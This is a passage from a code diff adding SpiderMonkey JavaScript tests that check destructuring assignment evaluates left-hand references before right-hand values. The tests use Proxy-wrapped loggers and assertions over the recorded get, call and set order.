+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "lhs set b",
+ ].join(","));
+ assertEq(this.values.a, "A");
+ assertEq(this.values.b.length, 1);
+ assertEq(this.values.b[0], "B");
+
+ // Array rest -> Array
+
+ clear();
+ [
+ ...[
+ super[ (log("lhs before name a"), "a") ],
+ ...super[ (log("lhs before name b"), "b") ]
+ ]
+ ] = logger(["A", "B"]);
+ assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+
+ "lhs before name a",
+ "lhs set a",
+
+ "lhs before name b",
+ "lhs set b",
+ ].join(","));
+ assertEq(this.values.a, "A");
+ assertEq(this.values.b.join(","), "B");
+
+ // Array -> Object
+ clear();
+ [
+ {
+ a: super[ (log("lhs before name a"), "a") ]
+ }
+ ] = logger([{a: "A"}]);
+ assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+
+ "lhs before name a",
+ "rhs get @@iterator()::next()::value::a",
+ "lhs set a",
+ ].join(","));
+ assertEq(this.values.a, "A");
+
+ // Array rest -> Object
+ clear();
+ [
+ ...{
+ 0: super[ (log("lhs before name 0"), "0") ],
+ 1: super[ (log("lhs before name 1"), "1") ],
+ length: super[ (log("lhs before name length"), "length") ],
+ }
+ ] = logger(["A", "B"]);
+ assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+
+ "lhs before name 0",
+ "lhs set 0",
+
+ "lhs before name 1",
+ "lhs set 1",
+
+ "lhs before name length",
+ "lhs set length",
+ ].join(","));
+ assertEq(this.values["0"], "A");
+ assertEq(this.values["1"], "B");
+ assertEq(this.values.length, 2);
+
+ // Object -> Array
+ clear();
+ ({
+ a: [
+ super[ (log("lhs before name b"), "b") ]
+ ]
+ } = logger({a: ["B"]}));
+ assertEq(logs.join(","),
+ [
+ "rhs get a",
+ "rhs get a::@@iterator",
+ "rhs call a::@@iterator",
+ "rhs get a::@@iterator()::next",
+
+ "lhs before name b",
+ "rhs call a::@@iterator()::next",
+ "rhs get a::@@iterator()::next()::done",
+ "rhs get a::@@iterator()::next()::value",
+ "lhs set b",
+ ].join(","));
+ assertEq(this.values.b, "B");
+
+ // Object -> Object
+ clear();
+ ({
+ a: {
+ b: super[ (log("lhs before name b"), "b") ]
+ }
+ } = logger({a: {b: "B"}}));
+ assertEq(logs.join(","),
+ [
+ "rhs get a",
+ "lhs before name b",
+ "rhs get a::b",
+ "lhs set b",
+ ].join(","));
+ assertEq(this.values.b, "B");
+
+ // All combined
+
+ clear();
+ [
+ super[ (log("lhs before name a"), "a") ],
+ [
+ super[ (log("lhs before name b"), "b") ],
+ {
+ c: super[ (log("lhs before name c"), "c") ],
+ d: {
+ e: super[ (log("lhs before name e"), "e") ],
+ f: [
+ super[ (log("lhs before name g"), "g") ]
+ ]
+ }
+ }
+ ],
+ {
+ h: super[ (log("lhs before name h"), "h") ],
+ i: [
+ super[ (log("lhs before name j"), "j") ],
+ {
+ k: [
+ super[ (log("lhs before name l"), "l") ]
+ ]
+ }
+ ]
+ },
+ ...[
+ super[ (log("lhs before name m"), "m") ],
+ [
+ super[ (log("lhs before name n"), "n") ],
+ {
+ o: super[ (log("lhs before name o"), "o") ],
+ p: {
+ q: super[ (log("lhs before name q"), "q") ],
+ r: [
+ super[ (log("lhs before name s"), "s") ]
+ ]
+ }
+ }
+ ],
+ ...{
+ 0: super[ (log("lhs before name t"), "t") ],
+ 1: [
+ super[ (log("lhs before name u"), "u") ],
+ {
+ v: super[ (log("lhs before name v"), "v") ],
+ w: {
+ x: super[ (log("lhs before name x"), "x") ],
+ y: [
+ super[ (log("lhs before name z"), "z") ]
+ ]
+ }
+ }
+ ],
+ length: super[ (log("lhs before name length"), "length") ],
+ }
+ ]
+ ] = logger(["A",
+ ["B", {c: "C", d: {e: "E", f: ["G"]}}],
+ {h: "H", i: ["J", {k: ["L"]}]},
+ "M",
+ ["N", {o: "O", p: {q: "Q", r: ["S"]}}],
+ "T", ["U", {v: "V", w: {x: "X", y: ["Z"]}}]]);
+ assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "lhs before name a",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "lhs set a",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs get @@iterator()::next()::value::@@iterator",
+ "rhs call @@iterator()::next()::value::@@iterator",
+ "rhs get @@iterator()::next()::value::@@iterator()::next",
+
+ "lhs before name b",
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+ "lhs set b",
+
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+
+ "lhs before name c",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::c",
+ "lhs set c",
+
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::d",
+
+ "lhs before name e",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::d::e",
+ "lhs set e",
+
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::d::f",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::d::f::@@iterator",
+ "rhs call @@iterator()::next()::value::@@iterator()::next()::value::d::f::@@iterator",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::d::f::@@iterator()::next",
+
+ "lhs before name g",
+ "rhs call @@iterator()::next()::value::@@iterator()::next()::value::d::f::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::d::f::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::d::f::@@iterator()::next()::value",
+ "lhs set g",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+
+ "lhs before name h",
+ "rhs get @@iterator()::next()::value::h",
+ "lhs set h",
+
+ "rhs get @@iterator()::next()::value::i",
+ "rhs get @@iterator()::next()::value::i::@@iterator",
+ "rhs call @@iterator()::next()::value::i::@@iterator",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next",
+
+ "lhs before name j",
+ "rhs call @@iterator()::next()::value::i::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::value",
+ "lhs set j",
+
+ "rhs call @@iterator()::next()::value::i::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::value",
+
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::value::k",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::value::k::@@iterator",
+ "rhs call @@iterator()::next()::value::i::@@iterator()::next()::value::k::@@iterator",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::value::k::@@iterator()::next",
+
+ "lhs before name l",
+ "rhs call @@iterator()::next()::value::i::@@iterator()::next()::value::k::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::value::k::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::value::k::@@iterator()::next()::value",
+ "lhs set l",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+
+ "lhs before name m",
+ "lhs set m",
+
+ "rhs get @@iterator()::next()::value::@@iterator",
+ "rhs call @@iterator()::next()::value::@@iterator",
+ "rhs get @@iterator()::next()::value::@@iterator()::next",
+
+ "lhs before name n",
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+ "lhs set n",
+
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+
+ "lhs before name o",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::o",
+ "lhs set o",
+
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::p",
+
+ "lhs before name q",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::p::q",
+ "lhs set q",
+
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::p::r",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::p::r::@@iterator",
+ "rhs call @@iterator()::next()::value::@@iterator()::next()::value::p::r::@@iterator",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::p::r::@@iterator()::next",
+
+ "lhs before name s",
+ "rhs call @@iterator()::next()::value::@@iterator()::next()::value::p::r::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::p::r::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::p::r::@@iterator()::next()::value",
+ "lhs set s",
+
+ "lhs before name t",
+ "lhs set t",
+
+ "rhs get @@iterator()::next()::value::@@iterator",
+ "rhs call @@iterator()::next()::value::@@iterator",
+ "rhs get @@iterator()::next()::value::@@iterator()::next",
+
+ "lhs before name u",
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+ "lhs set u",
+
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+
+ "lhs before name v",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::v",
+ "lhs set v",
+
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::w",
+
+ "lhs before name x",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::w::x",
+ "lhs set x",
+
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::w::y",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::w::y::@@iterator",
+ "rhs call @@iterator()::next()::value::@@iterator()::next()::value::w::y::@@iterator",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::w::y::@@iterator()::next",
+
+ "lhs before name z",
+ "rhs call @@iterator()::next()::value::@@iterator()::next()::value::w::y::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::w::y::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::w::y::@@iterator()::next()::value",
+ "lhs set z",
+
+ "lhs before name length",
+ "lhs set length",
+ ].join(","));
+ assertEq(this.values.a, "A");
+ assertEq(this.values.b, "B");
+ assertEq(this.values.c, "C");
+ assertEq(this.values.e, "E");
+ assertEq(this.values.g, "G");
+ assertEq(this.values.h, "H");
+ assertEq(this.values.j, "J");
+ assertEq(this.values.l, "L");
+ assertEq(this.values.m, "M");
+ assertEq(this.values.n, "N");
+ assertEq(this.values.o, "O");
+ assertEq(this.values.q, "Q");
+ assertEq(this.values.s, "S");
+ assertEq(this.values.t, "T");
+ assertEq(this.values.u, "U");
+ assertEq(this.values.v, "V");
+ assertEq(this.values.x, "X");
+ assertEq(this.values.z, "Z");
+ assertEq(this.values.length, 2);
+ }
+}
+
+new C2();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/destructuring/order.js b/js/src/tests/non262/destructuring/order.js
new file mode 100644
index 0000000000..4da0a58512
--- /dev/null
+++ b/js/src/tests/non262/destructuring/order.js
@@ -0,0 +1,719 @@
+var BUGNUMBER = 1204028;
+var summary = "Destructuring should evaluate lhs reference before rhs";
+
+print(BUGNUMBER + ": " + summary);
+
+let storage = {
+ clear() {
+ this.values = {};
+ }
+};
+storage.clear();
+let obj = new Proxy(storage, {
+ set(that, name, value) {
+ log("lhs set " + name);
+ storage.values[name] = value;
+ }
+});
+
+let logs = [];
+function log(x) {
+ logs.push(x);
+}
+
+function clear() {
+ logs = [];
+ storage.clear();
+}
+
+let unwrapMap = new Map();
+function unwrap(maybeWrapped) {
+ if (unwrapMap.has(maybeWrapped))
+ return unwrapMap.get(maybeWrapped);
+ return maybeWrapped;
+}
+function ToString(name) {
+ if (name == Symbol.iterator)
+ return "@@iterator";
+ return String(name);
+}
+function logger(obj, prefix=[]) {
+ let wrapped = new Proxy(obj, {
+ get(that, name) {
+ if (name == "return") {
+ // FIXME: Bug 1147371.
+ // We ignore IteratorClose for now.
+ return obj[name];
+ }
+
+ let names = prefix.concat(ToString(name));
+ log("rhs get " + names.join("::"));
+ let v = obj[name];
+ if (typeof v === "object" || typeof v === "function")
+ return logger(v, names);
+ return v;
+ },
+ apply(that, thisArg, args) {
+ let names = prefix.slice();
+ log("rhs call " + names.join("::"));
+ let v = obj.apply(unwrap(thisArg), args);
+ if (typeof v === "object" || typeof v === "function") {
+ names[names.length - 1] += "()";
+ return logger(v, names);
+ }
+ return v;
+ }
+ });
+ unwrapMap.set(wrapped, obj);
+ return wrapped;
+}
+
+// Array.
+
+clear();
+[
+ ( log("lhs before obj a"), obj ).a
+] = logger(["A"]);
+assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "lhs before obj a",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "lhs set a",
+ ].join(","));
+assertEq(storage.values.a, "A");
+
+clear();
+[
+ ( log("lhs before obj a"), obj )[ (log("lhs before name a"), "a") ]
+] = logger(["A"]);
+assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "lhs before obj a",
+ "lhs before name a",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "lhs set a",
+ ].join(","));
+assertEq(storage.values.a, "A");
+
+// Array rest.
+
+clear();
+[
+ ...( log("lhs before obj a"), obj ).a
+] = logger(["A", "B", "C"]);
+assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "lhs before obj a",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "lhs set a",
+ ].join(","));
+assertEq(storage.values.a.join(","), "A,B,C");
+
+clear();
+[
+ ...( log("lhs before obj a"), obj )[ (log("lhs before name a"), "a") ]
+] = logger(["A", "B", "C"]);;
+assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "lhs before obj a",
+ "lhs before name a",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "lhs set a",
+ ].join(","));
+assertEq(storage.values.a.join(","), "A,B,C");
+
+// Array combined.
+
+clear();
+[
+ ( log("lhs before obj a"), obj ).a,
+ ( log("lhs before obj b"), obj )[ (log("lhs before name b"), "b") ],
+ ...( log("lhs before obj c"), obj )[ (log("lhs before name c"), "c") ]
+] = logger(["A", "B", "C"]);
+assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "lhs before obj a",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "lhs set a",
+
+ "lhs before obj b",
+ "lhs before name b",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "lhs set b",
+
+ "lhs before obj c",
+ "lhs before name c",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "lhs set c",
+ ].join(","));
+assertEq(storage.values.a, "A");
+assertEq(storage.values.b, "B");
+assertEq(storage.values.c.join(","), "C");
+
+// Object.
+
+clear();
+({
+ a: ( log("lhs before obj a"), obj ).a
+} = logger({a: "A"}));
+assertEq(logs.join(","),
+ [
+ "lhs before obj a",
+ "rhs get a",
+ "lhs set a",
+ ].join(","));
+assertEq(storage.values.a, "A");
+
+clear();
+({
+ a: ( log("lhs before obj a"), obj )[ (log("lhs before name a"), "a") ]
+} = logger({a: "A"}));
+assertEq(logs.join(","),
+ [
+ "lhs before obj a",
+ "lhs before name a",
+ "rhs get a",
+ "lhs set a",
+ ].join(","));
+assertEq(storage.values.a, "A");
+
+// Object combined.
+
+clear();
+({
+ a: ( log("lhs before obj a"), obj ).a,
+ b: ( log("lhs before obj b"), obj )[ (log("lhs before name b"), "b") ]
+} = logger({a: "A", b: "B"}));
+assertEq(logs.join(","),
+ [
+ "lhs before obj a",
+ "rhs get a",
+ "lhs set a",
+
+ "lhs before obj b",
+ "lhs before name b",
+ "rhs get b",
+ "lhs set b",
+ ].join(","));
+assertEq(storage.values.a, "A");
+assertEq(storage.values.b, "B");
+
+// == Nested ==
+
+// Array -> Array
+
+clear();
+[
+ [
+ ( log("lhs before obj a"), obj )[ (log("lhs before name a"), "a") ],
+ ...( log("lhs before obj b"), obj )[ (log("lhs before name b"), "b") ]
+ ]
+] = logger([["A", "B"]]);
+assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs get @@iterator()::next()::value::@@iterator",
+ "rhs call @@iterator()::next()::value::@@iterator",
+ "rhs get @@iterator()::next()::value::@@iterator()::next",
+
+ "lhs before obj a",
+ "lhs before name a",
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+ "lhs set a",
+
+ "lhs before obj b",
+ "lhs before name b",
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "lhs set b",
+ ].join(","));
+assertEq(storage.values.a, "A");
+assertEq(storage.values.b.length, 1);
+assertEq(storage.values.b[0], "B");
+
+// Array rest -> Array
+
+clear();
+[
+ ...[
+ ( log("lhs before obj a"), obj )[ (log("lhs before name a"), "a") ],
+ ...( log("lhs before obj b"), obj )[ (log("lhs before name b"), "b") ]
+ ]
+] = logger(["A", "B"]);
+assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+
+ "lhs before obj a",
+ "lhs before name a",
+ "lhs set a",
+
+ "lhs before obj b",
+ "lhs before name b",
+ "lhs set b",
+ ].join(","));
+assertEq(storage.values.a, "A");
+assertEq(storage.values.b.join(","), "B");
+
+// Array -> Object
+clear();
+[
+ {
+ a: ( log("lhs before obj a"), obj )[ (log("lhs before name a"), "a") ]
+ }
+] = logger([{a: "A"}]);
+assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+
+ "lhs before obj a",
+ "lhs before name a",
+ "rhs get @@iterator()::next()::value::a",
+ "lhs set a",
+ ].join(","));
+assertEq(storage.values.a, "A");
+
+// Array rest -> Object
+clear();
+[
+ ...{
+ 0: ( log("lhs before obj 0"), obj )[ (log("lhs before name 0"), "0") ],
+ 1: ( log("lhs before obj 1"), obj )[ (log("lhs before name 1"), "1") ],
+ length: ( log("lhs before obj length"), obj )[ (log("lhs before name length"), "length") ],
+ }
+] = logger(["A", "B"]);
+assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+
+ "lhs before obj 0",
+ "lhs before name 0",
+ "lhs set 0",
+
+ "lhs before obj 1",
+ "lhs before name 1",
+ "lhs set 1",
+
+ "lhs before obj length",
+ "lhs before name length",
+ "lhs set length",
+ ].join(","));
+assertEq(storage.values["0"], "A");
+assertEq(storage.values["1"], "B");
+assertEq(storage.values.length, 2);
+
+// Object -> Array
+clear();
+({
+ a: [
+ ( log("lhs before obj b"), obj )[ (log("lhs before name b"), "b") ]
+ ]
+} = logger({a: ["B"]}));
+assertEq(logs.join(","),
+ [
+ "rhs get a",
+ "rhs get a::@@iterator",
+ "rhs call a::@@iterator",
+ "rhs get a::@@iterator()::next",
+
+ "lhs before obj b",
+ "lhs before name b",
+ "rhs call a::@@iterator()::next",
+ "rhs get a::@@iterator()::next()::done",
+ "rhs get a::@@iterator()::next()::value",
+ "lhs set b",
+ ].join(","));
+assertEq(storage.values.b, "B");
+
+// Object -> Object
+clear();
+({
+ a: {
+ b: ( log("lhs before obj b"), obj )[ (log("lhs before name b"), "b") ]
+ }
+} = logger({a: {b: "B"}}));
+assertEq(logs.join(","),
+ [
+ "rhs get a",
+ "lhs before obj b",
+ "lhs before name b",
+ "rhs get a::b",
+ "lhs set b",
+ ].join(","));
+assertEq(storage.values.b, "B");
+
+// All combined
+
+clear();
+[
+ ( log("lhs before obj a"), obj )[ (log("lhs before name a"), "a") ],
+ [
+ ( log("lhs before obj b"), obj )[ (log("lhs before name b"), "b") ],
+ {
+ c: ( log("lhs before obj c"), obj )[ (log("lhs before name c"), "c") ],
+ d: {
+ e: ( log("lhs before obj e"), obj )[ (log("lhs before name e"), "e") ],
+ f: [
+ ( log("lhs before obj g"), obj )[ (log("lhs before name g"), "g") ]
+ ]
+ }
+ }
+ ],
+ {
+ h: ( log("lhs before obj h"), obj )[ (log("lhs before name h"), "h") ],
+ i: [
+ ( log("lhs before obj j"), obj )[ (log("lhs before name j"), "j") ],
+ {
+ k: [
+ ( log("lhs before obj l"), obj )[ (log("lhs before name l"), "l") ]
+ ]
+ }
+ ]
+ },
+ ...[
+ ( log("lhs before obj m"), obj )[ (log("lhs before name m"), "m") ],
+ [
+ ( log("lhs before obj n"), obj )[ (log("lhs before name n"), "n") ],
+ {
+ o: ( log("lhs before obj o"), obj )[ (log("lhs before name o"), "o") ],
+ p: {
+ q: ( log("lhs before obj q"), obj )[ (log("lhs before name q"), "q") ],
+ r: [
+ ( log("lhs before obj s"), obj )[ (log("lhs before name s"), "s") ]
+ ]
+ }
+ }
+ ],
+ ...{
+ 0: ( log("lhs before obj t"), obj )[ (log("lhs before name t"), "t") ],
+ 1: [
+ ( log("lhs before obj u"), obj )[ (log("lhs before name u"), "u") ],
+ {
+ v: ( log("lhs before obj v"), obj )[ (log("lhs before name v"), "v") ],
+ w: {
+ x: ( log("lhs before obj x"), obj )[ (log("lhs before name x"), "x") ],
+ y: [
+ ( log("lhs before obj z"), obj )[ (log("lhs before name z"), "z") ]
+ ]
+ }
+ }
+ ],
+ length: ( log("lhs before obj length"), obj )[ (log("lhs before name length"), "length") ],
+ }
+ ]
+] = logger(["A",
+ ["B", {c: "C", d: {e: "E", f: ["G"]}}],
+ {h: "H", i: ["J", {k: ["L"]}]},
+ "M",
+ ["N", {o: "O", p: {q: "Q", r: ["S"]}}],
+ "T", ["U", {v: "V", w: {x: "X", y: ["Z"]}}]]);
+assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "lhs before obj a",
+ "lhs before name a",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "lhs set a",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs get @@iterator()::next()::value::@@iterator",
+ "rhs call @@iterator()::next()::value::@@iterator",
+ "rhs get @@iterator()::next()::value::@@iterator()::next",
+
+ "lhs before obj b",
+ "lhs before name b",
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+ "lhs set b",
+
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+
+ "lhs before obj c",
+ "lhs before name c",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::c",
+ "lhs set c",
+
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::d",
+
+ "lhs before obj e",
+ "lhs before name e",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::d::e",
+ "lhs set e",
+
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::d::f",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::d::f::@@iterator",
+ "rhs call @@iterator()::next()::value::@@iterator()::next()::value::d::f::@@iterator",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::d::f::@@iterator()::next",
+
+ "lhs before obj g",
+ "lhs before name g",
+ "rhs call @@iterator()::next()::value::@@iterator()::next()::value::d::f::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::d::f::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::d::f::@@iterator()::next()::value",
+ "lhs set g",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+
+ "lhs before obj h",
+ "lhs before name h",
+ "rhs get @@iterator()::next()::value::h",
+ "lhs set h",
+
+ "rhs get @@iterator()::next()::value::i",
+ "rhs get @@iterator()::next()::value::i::@@iterator",
+ "rhs call @@iterator()::next()::value::i::@@iterator",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next",
+
+ "lhs before obj j",
+ "lhs before name j",
+ "rhs call @@iterator()::next()::value::i::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::value",
+ "lhs set j",
+
+ "rhs call @@iterator()::next()::value::i::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::value",
+
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::value::k",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::value::k::@@iterator",
+ "rhs call @@iterator()::next()::value::i::@@iterator()::next()::value::k::@@iterator",
